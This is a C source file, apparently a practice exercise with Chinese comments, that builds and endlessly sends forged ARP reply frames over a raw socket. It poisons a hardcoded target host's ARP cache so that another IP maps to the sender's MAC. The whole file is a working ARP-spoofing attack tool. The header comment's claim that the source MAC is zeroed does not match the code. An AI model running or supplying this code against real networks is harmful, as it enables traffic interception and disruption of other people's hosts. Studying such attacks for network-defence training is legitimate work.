/* ARP欺骗-练习3 实时响应ARP报文,将源MAC地址的全置0. */ #include // inet_addr #include // in_addr #include // ether_aton #include // sockaddr_ll #include // ioctl #include // ifreq #include // close #include // bzero #include // printf #include // pthread_create #include // open #include // open // 发送原始数据报 ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name); void *arp_packetdata_send(void *arg) { // 创建原始套接字 int sock_fd = *((int *)arg); while (1) { // 发送ARP欺骗应答报文 unsigned char src_ip_pointer[] = {10, 12, 156, 204}; // 发送的 IP 地址 unsigned char dst_ip_pointer[] = {10, 12, 156, 178}; // 目标 IP 地址 点分十进制转换为数字字符串 unsigned char dst_mac[] = {0x00, 0xd8, 0x61, 0x03, 0x45, 0x65}; // 目标 MAC 地址 unsigned char arp_buf[] = { dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址 // 00:0c:29:85:cc:67 // 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 源MAC地址 0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 源MAC地址 0x08, 0x06, // ARP帧类型 0x00, 0x01, // 硬件类型 0x08, 0x00, // 协议类型(IP协议0x0800) 0x06, 0x04, // 硬件地址长度(MAC地址长度) 和 协议地址长度(IP 地址长度) 0x00, 0x02, // 操作类型(ARP应答0x0002) 0x00, 0x0c, 0x29, 0x85, 0xcc, 0x67, // 发送方MAC地址 src_ip_pointer[0], src_ip_pointer[1], src_ip_pointer[2], src_ip_pointer[3], // 发送方IP地址 dst_mac[0], dst_mac[1], dst_mac[2], dst_mac[3], dst_mac[4], dst_mac[5], // 目的MAC地址 dst_ip_pointer[0], dst_ip_pointer[1], dst_ip_pointer[2], dst_ip_pointer[3] // 目的IP地址 }; // 单播发送ARP应答报文 ssize_t len = send_datapacket(sock_fd, arp_buf, sizeof(arp_buf), "ens38"); // ens38 为网卡名 } } int main(int argc, char const *argv[]) { // 创建原始套接字 int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock_fd < 0) { perror("raw socket"); return -1; } // 创建线程发送ARP欺骗应答报文 pthread_t tid; pthread_create(&tid, NULL, arp_packetdata_send, &sock_fd); pthread_join(tid, NULL); close(sock_fd); return 0; } ssize_t send_datapacket(int fd, unsigned char *buf, ssize_t buf_size, const char *ether_name) { // 1. 根据网卡名获取网卡索引 struct ifreq ether_req; bzero(ðer_req, sizeof(ether_req)); // 清空结构体 ether_req strncpy(ether_req.ifr_name, ether_name, IF_NAMESIZE); // # define ifr_name ifr_ifrn.ifrn_name // 将网卡名复制到 ether_req.ifr_name 中 // 通过网卡名查找网卡索引 SIOCGIFINDEX 为获取网卡索引 if (ioctl(fd, SIOCGIFINDEX, ðer_req) == -1) { perror("ioctl"); return -1; } // 2. 选择发送数据的网络接口索引 struct sockaddr_ll sll; bzero(&sll, sizeof(sll)); // 清空结构体 sll sll.sll_ifindex = ether_req.ifr_ifindex; // # define ifr_ifindex ifr_ifru.ifru_ivalue // 选择发送数据的网络接口索引 // 3. 发送数据 ssize_t len = sendto(fd, buf, buf_size, 0, (struct sockaddr *)&sll, sizeof(sll)); return len; }